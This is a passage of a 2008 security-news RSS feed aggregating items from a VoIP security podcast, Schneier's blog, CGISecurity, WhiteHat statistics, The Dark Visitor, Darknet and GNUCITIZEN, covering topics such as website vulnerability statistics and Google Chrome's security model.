&lt;p&gt;Comments, suggestions and feedback are welcome either as replies to this post&amp;nbsp; or via e-mail to &lt;a href=&quot;mailto:blueboxpodcast@gmail.com&quot;&gt;blueboxpodcast@gmail.com&lt;/a&gt;.&amp;nbsp; Audio comments sent as attached MP3 files are definitely welcome and will be played in future shows.&amp;nbsp; You may also call the listener comment line at either +1-415-830-5439 or via SIP to '&lt;a href=&quot;sip:bluebox@voipuser.org&quot;&gt;bluebox@voipuser.org&lt;/a&gt;' to leave a comment there.&amp;nbsp; &lt;/p&gt; &lt;p&gt;Thank you for listening and please do let us know what you think of the show. &lt;/p&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/BlueBox?a=ro8CGS&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/BlueBox?i=ro8CGS&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/BlueBox?a=lF8MaL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/BlueBox?i=lF8MaL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/BlueBox?a=d2zQmL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/BlueBox?i=d2zQmL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/BlueBox?a=h8U0ZL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/BlueBox?i=h8U0ZL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/BlueBox?a=8B82bL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/BlueBox?i=8B82bL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/BlueBox?a=keFvsl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/BlueBox?i=keFvsl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/BlueBox?a=WSWkOL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/BlueBox?i=WSWkOL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/BlueBox/~4/382765294&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;Synopsis: Blue Box Special Edition #26: Astricon 2007 presentation - &quot;Hacking and Attacking VoIP Systems: What you need to worry about&quot; Welcome to Blue Box: The VoIP Security Podcast Special Edition #26, a 55-minute podcast from Dan York and Jonathan...</description>
	<pubDate>Wed, 03 Sep 2008 23:54:03 +0000</pubDate>
	<dc:creator>Dan York and Jonathan Zar (blueboxpodcast@gmail.com)</dc:creator>
</item>
<item>
	<title>Blogs - Schneier On Security: Diaries Written in Code</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/diaries_written.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/diaries_written.html</link>
	<description>Many throughout history....&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=UgixZL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=UgixZL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Wed, 03 Sep 2008 19:15:30 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: How To: Detect Cross Site Scripting Vulnerabilities using XSSDetect</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080904&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080904&amp;ref=rss</link>
	<pubDate>Wed, 03 Sep 2008 17:00:05 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Google releases Chrome Web browser</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080903&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080903&amp;ref=rss</link>
	<pubDate>Wed, 03 Sep 2008 17:00:05 +0000</pubDate>
</item>
<item>
	<title>Blogs - Jeremiah Grossman: Download the 5th Website Security Statistics Report</title>
	<guid>tag:blogger.com,1999:blog-13756280.post-4388968948400200455</guid>
	<link>http://jeremiahgrossman.blogspot.com/2008/08/download-5th-website-security.html</link>
	<description>Whew, what a mountain of work! I’m ecstatic the complete 5th installment of our &lt;a href=&quot;http://www.whitehatsec.com/home/assets/WPstats0808.pdf&quot;&gt;Website Security Statistics Report&lt;/a&gt; report (all 13-pages) is finally published and available for everyone to see – and comment. I’m also extremely proud that we’re able to capture a measurable improvement in overall website security. Good news from inside InfoSec!? I know, weird huh!? We still have a long way to go, but these statistics show we’re on the right path and doing the right things:&lt;ul&gt;&lt;li&gt;Find and prioritize all websites&lt;/li&gt;&lt;li&gt;Find and fix website vulnerabilities&lt;/li&gt;&lt;li&gt;Implement a secure software development process&lt;/li&gt;&lt;li&gt;Utilize a defense-in-depth website security strategy&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;http://jeremiahgrossman.blogspot.com/2008/08/q3-website-security-statistics-report.html&quot;&gt;Today’s webinar&lt;/a&gt; went extremely well, &lt;a href=&quot;http://www.slideshare.net/jeremiahgrossman/website-security-statistics-august-2008-presentation/&quot;&gt;slides are available&lt;/a&gt; for those interested. And some quick numbers:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Total Websites: &lt;strong&gt;687&lt;/strong&gt;&lt;br /&gt;Identified vulnerabilities: &lt;strong&gt;11,234&lt;/strong&gt;&lt;br /&gt;Unresolved vulnerabilities: &lt;strong&gt;3,541&lt;/strong&gt; (66% resolved)&lt;br /&gt;Websites &lt;em&gt;HAVING HAD&lt;/em&gt; at least one serious issue: &lt;strong&gt;82%&lt;/strong&gt;&lt;br /&gt;Websites &lt;em&gt;CURRENTLY WITH&lt;/em&gt; at least one serious issue: &lt;strong&gt;61%&lt;/strong&gt;&lt;br /&gt;Average vulnerabilities per website: &lt;strong&gt;5&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The shiny new WhiteHat Top&lt;/strong&gt;&lt;strong&gt; Ten&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_JdybrokZBAk/SLXoUoV4ucI/AAAAAAAAA5k/PJKDnhv3B4E/s320/top_ten.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5239349182639684034&quot; border=&quot;0&quot; /&gt;Yes! CSRF finally make the list!&lt;/p&gt;&lt;p&gt;Also covered is:&lt;br /&gt;- Collection methodology&lt;br /&gt;- Time-to-fix and remediation metrics&lt;br /&gt;- Industry vertical comparisons&lt;br /&gt;- Best practices &amp;amp; lessons learned&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Feedback on what other numbers people would like us to report on in the future is very welcome.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;

&lt;a href=&quot;http://www.whitehatsec.com&quot;&gt;WhiteHat Security&lt;/a&gt; is a leading provider of web application security services. WhiteHat Sentinel, the company’s flagship service, provides continuous &lt;a href=&quot;http://www.whitehatsec.com/services.shtml&quot;&gt;web applications vulnerability assessment&lt;/a&gt; and management. 

&lt;br /&gt;&lt;hr /&gt;&lt;/div&gt;</description>
	<pubDate>Wed, 03 Sep 2008 13:29:23 +0000</pubDate>
	<dc:creator>Jeremiah Grossman (noreply@blogger.com)</dc:creator>
</item>
<item>
	<title>Blogs - Schneier On Security: Sucking Data off of Cell Phones</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/sucking_data_of.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/sucking_data_of.html</link>
	<description>Don't give someone your phone unless you trust them: There is a new electronic capture device that has been developed primarily for law enforcement, surveillance, and intelligence operations that is also available to the public. It is called the Cellular Seizure Investigation Stick, or CSI Stick as a clever acronym. It is manufactured by a company called Paraben, and is...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=ZbpEiL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=ZbpEiL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Wed, 03 Sep 2008 12:03:31 +0000</pubDate>
</item>
<item>
	<title>Blogs - The Dark Visitor: Chinese hacker joke…paying the pain forward</title>
	<guid>http://www.thedarkvisitor.com/?p=472</guid>
	<link>http://feeds.feedburner.com/~r/TheDarkVisitor/~3/382210814/</link>
	<description>&lt;p&gt;Got to confess, I don&amp;#8217;t get most Chinese humor.  The couple of times I&amp;#8217;ve searched for jokes in Chinese hacker forums, this one pops up. Never bothered to tranlate it because it&amp;#8217;s bad, very bad.  Somone has taken the time to translate it for me so, without further delay:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Hacker = 黑客 = black rogue(??)~ short for BR&lt;br /&gt;
Pc newbie = 小白 = xiao bai ( most probably Ms white) ~ short for XB&lt;/p&gt;
&lt;p&gt;A conversation between BR and XB&lt;/p&gt;
&lt;p&gt;BR:I am now in control of your PC&lt;br /&gt;
XB：How did you do it?&lt;br /&gt;
BR：By using a trojan&lt;br /&gt;
XB：&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;.where？I dont see it&lt;br /&gt;
BR：Open your control panels&lt;br /&gt;
XB：&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;where is my control panels&lt;br /&gt;
BR：&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;&amp;#8230;Below your computer!!&lt;br /&gt;
XB：I dont see it in &amp;#8220;My Computer&amp;#8221;&lt;br /&gt;
BR：&amp;#8230;&amp;#8230;.Forget it，just forget everything i said&lt;/p&gt;
&lt;p&gt;later on~~&lt;br /&gt;
BR：I am now in control of your PC again&lt;br /&gt;
XB：oh~~&lt;br /&gt;
BR： &amp;#8230;.scared？！&lt;br /&gt;
XB：what good timing，can you help clear those annoying virus? these days there are alot of them in my PC&lt;br /&gt;
BR：&amp;#8230;&amp;#8230;&amp;#8230;..&lt;/p&gt;
&lt;p&gt;then&amp;#8230;&amp;#8230;..&lt;br /&gt;
XB：why do you always come and go as you please?&lt;br /&gt;
BR：well&amp;#8230;.you could always use a firewall&lt;br /&gt;
XB：but&amp;#8230;&amp;#8230;.if there is a firewall, then u wont be able to access my PC&lt;br /&gt;
BR：its not that，its just that i wanna have more fun hacking ur PC，if its secureless like this its real damn&lt;br /&gt;
boring&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;If you feel you can&amp;#8217;t live without learning the fate of Xiao Bai and the hacker&amp;#8230;go &lt;a href=&quot;http://www.asian4ever.net/forum/humour-23/31549-story-hacker-pc-noob.html&quot;&gt;here masochist&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;addtoany_share_save_container&quot;&gt;
    &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save?sitename=The%20Dark%20Visitor&amp;siteurl=http%3A%2F%2Fwww.thedarkvisitor.com%2F&amp;linkname=Chinese%20hacker%20joke%E2%80%A6paying%20the%20pain%20forward&amp;linkurl=http%3A%2F%2Fwww.thedarkvisitor.com%2F2008%2F09%2Fchinese-hacker-jokepaying-the-pain-forward%2F&quot;&gt;&lt;img src=&quot;http://www.thedarkvisitor.com/wp-content/plugins/add-to-any/share_save_120_16.gif&quot; width=&quot;120&quot; height=&quot;16&quot; alt=&quot;Share/Save/Bookmark&quot; /&gt;&lt;/a&gt;
    
    

	&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/TheDarkVisitor?a=wcjk7C&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/TheDarkVisitor?i=wcjk7C&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/TheDarkVisitor?a=hPpPLL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/TheDarkVisitor?i=hPpPLL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/TheDarkVisitor/~4/382210814&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Wed, 03 Sep 2008 10:28:06 +0000</pubDate>
	<dc:creator>Heike</dc:creator>
</item>
<item>
	<title>Blogs - The Dark Visitor: Korean defense spokseman says stuff guaranteed to come back to haunt him then…</title>
	<guid>http://www.thedarkvisitor.com/?p=469</guid>
	<link>http://feeds.feedburner.com/~r/TheDarkVisitor/~3/381881036/</link>
	<description>&lt;p&gt;Gives valuable stats on Chinese hackers attacks:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;According to the Korea Information Security Agency, there were some 2,120 cases of hacking or hacking attempts against various Korean government agencies and entities during the month of March, 2008.&lt;/p&gt;
&lt;p&gt;Of them, 53 percent originated from Chinese Internet addresses, while 14 percent came from the United States. Some five percent came from Japanese sources.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I think an International Space Station official said something about having a secure system too&amp;#8230;&lt;a href=&quot;http://www.koreatimes.co.kr/www/news/nation/2008/09/116_30464.html&quot;&gt;100% hack proof&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;addtoany_share_save_container&quot;&gt;
    &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save?sitename=The%20Dark%20Visitor&amp;siteurl=http%3A%2F%2Fwww.thedarkvisitor.com%2F&amp;linkname=Korean%20defense%20spokseman%20says%20stuff%20guaranteed%20to%20come%20back%20to%20haunt%20him%20then%E2%80%A6&amp;linkurl=http%3A%2F%2Fwww.thedarkvisitor.com%2F2008%2F09%2Fkorean-defense-spokseman-says-stuff-guaranteed-to-come-back-to-haunt-him-then%2F&quot;&gt;&lt;img src=&quot;http://www.thedarkvisitor.com/wp-content/plugins/add-to-any/share_save_120_16.gif&quot; width=&quot;120&quot; height=&quot;16&quot; alt=&quot;Share/Save/Bookmark&quot; /&gt;&lt;/a&gt;
    
    

	&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/TheDarkVisitor?a=ahXnLQ&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/TheDarkVisitor?i=ahXnLQ&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/TheDarkVisitor?a=a01RiL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/TheDarkVisitor?i=a01RiL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/TheDarkVisitor/~4/381881036&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Wed, 03 Sep 2008 01:39:41 +0000</pubDate>
	<dc:creator>Heike</dc:creator>
</item>
<item>
	<title>Blogs - Darknet: Productive Botnets</title>
	<guid>http://www.darknet.org.uk/?p=1018</guid>
	<link>http://www.darknet.org.uk/2008/09/productive-botnets/</link>
	<description>We all know what botnets are (think so), but anyway let&amp;#8217;s see a proper definition of botnets taken from shadowserver&amp;#8230; and I quote:

A botnet is a collection of computers, connected to the internet, that interact to accomplish some distributed task. Although such a collection of computers can be used for useful and constructive...&lt;br /&gt;
&lt;br /&gt;
Read the full post at darknet.org.uk
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/darknethackers?a=7qa1X3&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/darknethackers?i=7qa1X3&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=KCBIhL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=KCBIhL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=IIcIGL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=IIcIGL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=3CVdWl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=3CVdWl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Wed, 03 Sep 2008 00:24:52 +0000</pubDate>
	<dc:creator>backbone</dc:creator>
</item>
<item>
	<title>Blogs - GNUCITIZEN: Rethinking the Desktop Model</title>
	<guid>https://www.gnucitizen.org/?p=1199</guid>
	<link>http://www.gnucitizen.org/blog/rethinking-the-desktop-model/</link>
	<description>&lt;p&gt;It is time to rethink the way the desktop works. Some of my ideas may seem radical but sometimes evolution is the only solution to all of our problems. Read on&amp;#8230;&lt;/p&gt;

&lt;div class=&quot;screen&quot;&gt;&lt;a href=&quot;http://flickr.com/photos/depone/2695406589/&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3074/2695406589_2517d8b0f2.jpg?v=1216829398&quot; alt=&quot;RETHINK&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;I have this idea for quite some time now. Picture the following: a stripped-down Linux kernel with all security mechanisms to the max; levels 2 to 5 configured to run just the most basic set of services such the scheduler, the hardware abstraction and support mechanisms, printing etc., a web server, a browser and the x environment. The low level processes keep the system running while the x, the browser and the web server provide the application layer functionalities.&lt;/p&gt;

&lt;p&gt;Each application is hosted on the web server. Technically speaking we have an application server. The browser provides the rendering engine, while the x puts everything on the display. No compilation. Everything is interpreted and under the strict control of the browser and the web server.&lt;/p&gt;

&lt;p&gt;The browser is not just the typical browser you will find. Each application opens in its own browser process. It renders just like any other application you may have on your desktop. The only difference is that applications in this environment are written on top of standard, widely-adopted technologies. No dependencies and no cross-platform issues. Applications are easy to patch, extend and control.&lt;/p&gt;

&lt;p&gt;The web server is just like any other web server. A module for more granular user control will be required, i.e. different applications will be able to run with different privileges and users should be able to identify themselves without the need to login, etc. Of course, this is only needed if such features are required.&lt;/p&gt;

&lt;p&gt;I think that this type of environment will provide more granular control over each application. For example, if an application misbehaves then we can either fix the code on the fly or patch it on the web server with a config hack. We&amp;#8217;ve got the technology even to jail the app in a chroot environment. Fixes can be easily implemented at any stage. Because we are using standard technologies, fixes will be easier and more rabust. The browser also provides functionalities to extend its chrome via extensions. Developers can implement a layer on the top of the application layer to provide even greater control, customization and interactivity.&lt;/p&gt;

&lt;p&gt;Obviously, because everything becomes a web application, for security reasons, the browser should differentiate between local and remote applications but at the same time make sure that both types are as transparent to the user as possible.&lt;/p&gt;

&lt;p&gt;This model is far from being perfect. In fact, it has many flaws. I know that there are even some failed attempts to do something almost similar. However, this model seems so right. It is 2008 and we are still stuck with technologies designed 20 years ago. No wonder why they often break. Perhaps their time has come to an end? I don&amp;#8217;t know. Let the crowd decide. I am no longer a perfectionist. My philosophy is: whatever works will be employed to complete the given task. But sometimes I think what it would have been if things were otherwise.&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=nl2q6L&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=nl2q6L&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=VgHmXl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=VgHmXl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=20ynJl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=20ynJl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=gndXlL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=gndXlL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=UxFmLl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=UxFmLl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=xIwQJL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=xIwQJL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=UTWn1L&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=UTWn1L&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=cZQZ0l&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=cZQZ0l&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Tue, 02 Sep 2008 22:21:28 +0000</pubDate>
	<dc:creator>pdp</dc:creator>
</item>
<item>
	<title>Blogs - Schneier On Security: Software to Facilitate Retail Tax Fraud</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/software_to_fac.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/software_to_fac.html</link>
	<description>Interesting: Thanks to a software program called a zapper, even technologically illiterate restaurant and store owners can siphon cash from computer cash registers and cheat tax officials. [...] Zappers alter the electronic sales records in a cash register. To satisfy tax collectors, the tally of food orders, for example, must match the register's final cash total. To hide the removal...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=t3gaBL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=t3gaBL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Tue, 02 Sep 2008 18:24:22 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Article: SDL Embraces The Web</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080902&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080902&amp;ref=rss</link>
	<pubDate>Tue, 02 Sep 2008 17:00:05 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Which ASP.NET Controls Automatically HTML Entity Output Encodes?</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080901&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080901&amp;ref=rss</link>
	<pubDate>Tue, 02 Sep 2008 16:15:04 +0000</pubDate>
</item>
<item>
	<title>Blogs - Schneier On Security: Security ROI</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/security_roi_1.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/security_roi_1.html</link>
	<description>Return on investment, or ROI, is a big deal in business. Any business venture needs to demonstrate a positive return on investment, and a good one at that, in order to be viable. It's become a big deal in IT security, too. Many corporate customers are demanding ROI models to demonstrate that a particular security investment pays off. And in...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=1LQmoL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=1LQmoL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Tue, 02 Sep 2008 12:05:53 +0000</pubDate>
</item>
<item>
	<title>Blogs - GNUCITIZEN: Google Chrome</title>
	<guid>https://www.gnucitizen.org/?p=1187</guid>
	<link>http://www.gnucitizen.org/blog/google-chrome/</link>
	<description>&lt;p&gt;It is true what many of you have heard. Google is releasing their own browser. Google Chrome, as they call it, is based on WebKit rendering engine and introduces some novel approaches to interacting with web technologies. I must say, it is very exciting to see all of this happening.&lt;/p&gt;

&lt;div class=&quot;screen&quot;&gt;&lt;a href=&quot;http://flickr.com/photos/bradybd/2818154005/&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3271/2818154005_7cc2cc90ef.jpg?v=0&quot; alt=&quot;Valley Wars: The Third Browser War&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;What makes Google Chrome different is its architecture. The browser is no longer single-threaded process. Each tab is actually a separate process with own memspace. I am not sure if we are talking about threads or actual program instances but what is more important is that when you close a tab, you are virtually terminating the process. At least, this is what Google says.&lt;/p&gt;

&lt;p&gt;This seams to have some interesting implications on the security of the browser. If you corrupt the tab’s memspace then you will crash only that particular process. The browser and all other tabs should continue working just fine like nothing ever has happened. This approach has its own advantages and disadvantages. The advantages are obvious: the user experience is intact. The disadvantages are that pwning might get easier. It is very early to me to say more on this topic because I haven&amp;#8217;t seen Google Chrome in action, but I have the slight suspicion that there will be some security consequences as a result of this security model.&lt;/p&gt;

&lt;p&gt;Google Chrome also implements a new privacy feature. I think they call it incognito or something. Basically if you browser while being in &lt;q&gt;incognito&lt;/q&gt; mode, nothing ever gets logged. I think that this is a cool feature and I believe that the IE8 team is working on something similar.&lt;/p&gt;

&lt;p&gt;Another interesting feature which I need to mention is that popups are not blocked but they open in a minimized window. If you want to see them you just drag the popup icon and there you go. Again, this is very interesting but I can already see how this may be abused. For example, it will make a huge difference if the rendering engine has already processed the content of the popup even if it is minimized. If this is the case, then this feature could turn into a very handy mechanism of hiding malicious activities. For example, if during the attack, the page flickers or the attacker is rendering too many corrupted ANIs :) then certainly, hiding it behind a minimized popup will be a great way of avoiding detection by casual observation. Of course these are pure speculations.&lt;/p&gt;

&lt;p&gt;Google Chrome also provides sandboxing functionalities. Apparently each process is sandboxed but I have no details how was that implemented. I would say that perhaps sandboxing JavaScript is fairly easy but doing that on a process level may not be as much. Maybe each process runs with unprivileged account which does not have many rights. But still, it must have some rights in order to do something. So taking over a process may not result into an immediate pwnage but it will certainly give the attackers some advantage. I am very interested to learn how this sandboxing mechanism is implemented for the various operating systems if the browser is cross-platformed of course, which I believe is the case.&lt;/p&gt;

&lt;p&gt;If everything is implemented correctly, which I hardly doubt, then Google Chrome may turn into a very nice technology I may consider using it in the near future. However, none of these security features interest me as much as those that allow me to prevent poorly coded web applications leaking my details over unencrypted channels. Or even features which will prevent certain types of CSRF and XSS attacks. I&amp;#8217;ve said it before! Most of my data does not reside on my computer any more. Of course this philosophy &lt;a href=&quot;http://www.gnucitizen.org/blog/targeted/&quot;&gt;had some bad side effects on me&lt;/a&gt;, but my point is that the data is on the Web and therefore I am concerned how my browser protects me when it comes down to Web related bugs. I believe that Google Chrome lacks mostly that and if they decide to &lt;a href=&quot;http://www.gnucitizen.org/blog/lets-fix-the-web/&quot;&gt;implement any of recommendations&lt;/a&gt; then in my eyes, I will certainly have a winner in the upcoming browser wars.&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=UltFaL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=UltFaL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=gvU6dl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=gvU6dl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=2WPHul&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=2WPHul&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=vHMx7L&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=vHMx7L&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=YPQvOl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=YPQvOl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=nT382L&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=nT382L&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=pKOHtL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=pKOHtL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; 